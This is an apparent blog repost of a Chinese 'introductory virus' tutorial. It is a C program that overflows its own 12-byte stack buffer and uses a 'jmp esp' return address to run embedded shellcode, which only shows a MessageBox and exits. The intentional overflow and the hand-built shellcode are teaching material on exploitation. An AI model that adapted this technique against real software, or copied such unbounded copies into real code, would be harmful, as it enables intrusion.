zoukankan      html  css  js  c++  java
  • 病毒入门程序

    #include "windows.h"
    #define UINT8 unsigned char


    /* 该函数构造一个简单的溢出函数 */
    void GetName(UINT8 *pucSrcName, UINT8 *pucDstName)
    {
        while ((*pucSrcName) != 0xfe)
        {
            *pucDstName++ = *pucSrcName++;
        }
        *pucDstName = 0;
    }


    /* 在此函数中,调用后GetName弹出时,注入程序接管 */
    void ShowComputerName(UINT8 *pucName)
    {
        UINT8 pucComputerName[12];
        GetName(pucName,pucComputerName);
    }


    /* 仅为了提供MessageBox和ExitProcess地址,及jmp esp指令 */
    void ShowMessageBox(void)
    {
        MessageBox(0, "OK", "OK", 0);
        ExitProcess(0);
        __asm jmp esp;
    }


    /* 模拟的异常串注入代码 */
    UINT8 aucName[1024]=
    {
    #ifdef _DEBUG
    'D','B','G',' ',
    'H','e','l','l',
    'o','W','o','r',
    'l','d','!',0x00,
    /* Debug版 jmp esp地址 */
    0x36,0x11,0x40,0x00,
    /*
    push   0
    push   421A30h  Debug版本号数组aucName的起始地址
    push   421A30h  Debug版本号数组aucName的起始地址
    push   0
    call   MessageBox
    */
    0x6A,0x00,
    0x68,0x30,0x1A,0x42,0x00,
    0x68,0x30,0x1A,0x42,0x00,
    0x6A,0x00,
    0xFF,0x15,0x8C,0x52,0x42,0x00,
    /*
    push 0
    call ExitProcess
    */
    0x6A,0x00,
    0xFF,0x15,0x7C,0x51,0x42,0x00,
    /* 结束符号 */
    0xFE
    #else
    'H','e','l','l',
    'o','W','o','r',
    'l','d','!',0x00,
    /* Release版 jmp esp地址 */
    0x72,0x10,0x40,0x00,  
    /*
    push   0
    push   405030h  Release版本号数组aucName的起始地址
    push   405030h  Release版本号数组aucName的起始地址
    push   0
    call   MessageBox
    */
    0x6A,0x00,
    0x68,0x30,0x50,0x40,0x00,
    0x68,0x30,0x50,0x40,0x00,
    0x6A,0x00,
    0xFF,0x15,0x90,0x40,0x40,0x00,
    /*
    push 0
    call ExitProcess
    */
    0x6A,0x00,
    0xFF,0x15,0x48,0x40,0x40,0x00,
    /* 结束符号 */
    0xFE 
    #endif
    };


    int main(int argc, UINT8 *argv[])
    {
        ShowComputerName(aucName);
        ShowMessageBox();
        return 0;
    }
  • 相关阅读:
    HDU 2986 Ballot evaluation(精度问题)
    HDU 2985 Another lottery(坑题)
    HDU 2370 Convert Kilometers to Miles
    HDU 2369 Broken Keyboard(字符串)
    ZOJ 2110 Tempter of the Bone(DFS)
    POJ 1151 Atlantis(离散化)
    学习笔记之Python开发环境 IDE ( Anaconda / PyCharm )
    学习笔记之Data Visualization
    学习笔记之Data Science
    学习笔记之人工智能(Artificial Intelligence)
  • 原文地址:https://www.cnblogs.com/cxchanpin/p/6946352.html
Copyright © 2011-2022 走看看